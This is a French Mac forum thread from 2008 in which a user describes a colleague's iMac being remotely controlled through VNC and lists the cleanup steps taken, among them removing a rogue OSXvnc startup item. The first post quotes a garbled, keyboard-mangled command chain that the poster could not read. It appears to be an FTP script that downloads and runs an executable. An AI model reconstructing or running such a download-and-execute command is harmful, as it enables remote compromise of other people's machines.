Un iMac Hacké ?, il se passe de drôles de trucs

[Ponchan]

Bonjour les bidouilleurs.
Oui, je sais, cette question revient régulièrement sur les forums mais ce qui arrive à ma collègue est assez étrange.
Alors voilà,
Plusieurs fois, alors qu'elle travaillait sous Word, elle eu la surprise de voir apparaitre le texte suivant :

C,d =c echo open !é :é »& :&éà :!ç & !§ç§ :: uèecho user q b :: uèecho binqry :: uèecho get h,, :exe :: uèecho auit :: uèftp :exe )n )smuèh,, :exe èexit

Je précise tout de suite qu'elle n'a aucune connaissance en informatique et que sa maison n'est pas construite sur un cimetière Indien.
Çà ressemble à une commande terminal mais je serais bien incapable de la lire.

Autre chose est arrivé hier, la souris a pris le contrôle de l'ordinateur, ouvert et refermé des documents etc.
Ce qui est étrange car VNC n'était pas activé à ce moment là.

Aujourd'hui, son mac émet des bruits genre 'boinc'.

Bref, son Mac est hanté.

Matériel : iMac Intel 17", Tiger, plusieurs sessions d'utilisateur... utilisant MSN.

Je vais aller y faire un tour histoire de changer les mots de passe, vérifier le firewall, rechercher d'hypothétiques virus, procéder aux mises à jour...

Mais vous en pensez quoi ? Quels outils puis-je utiliser pour nettoyer tout ça ? Et comment s'assurer que cela n'arrive plus ?

Ce message a été modifié par Ponchan - 8 Jan 2008, 15:56.

[Ponchan]

Je fais un petit up suite à mon intervention sur le Mac hanté de ma collègue.
- J'ai mis à jour Mac OS, vine Server et tous les programmes.
- J'ai désactivé ARD (oups)
- J'ai changé tous le mots de passe de sessions, réparé les autorisations.
- J'ai cherché et éliminé d'éventuels .exe qui trainaient : WLinstaller.exe et PresentationMessenger-Bom.exe
- J'ai changé l'adresse IP de la machine
- Paramétré le Firewall pour laisser entrer VNC (ça me sert), et la Freebox pour rediriger les plages de VNC.

Je fais un test de VNC, ça fonctionne.
Je quitte VNC

J'attends un peu

Et... la souris bouge toute seule.
Le hackeur lance Firefox, se plante un peu avec le clavier azerty et se rend sur www.lowratevoip.com
Je débranche le cable réseau avant qu'il ne se connecte.

Je prend mon courage à deux mains et je lance la console pour essayer de trouver qui s'est connecté.
Je trouve pas mais je lit : "/Library/StartupItems/OSXvnc/OSXvnc-server: CGSLookupServerPort: _CGSSessionDeathWatchPort(gSessionPort) returns 268435459"
Je cherche et détruit ce dossier.
Pour le moment tout va bien.

D'autres idées ??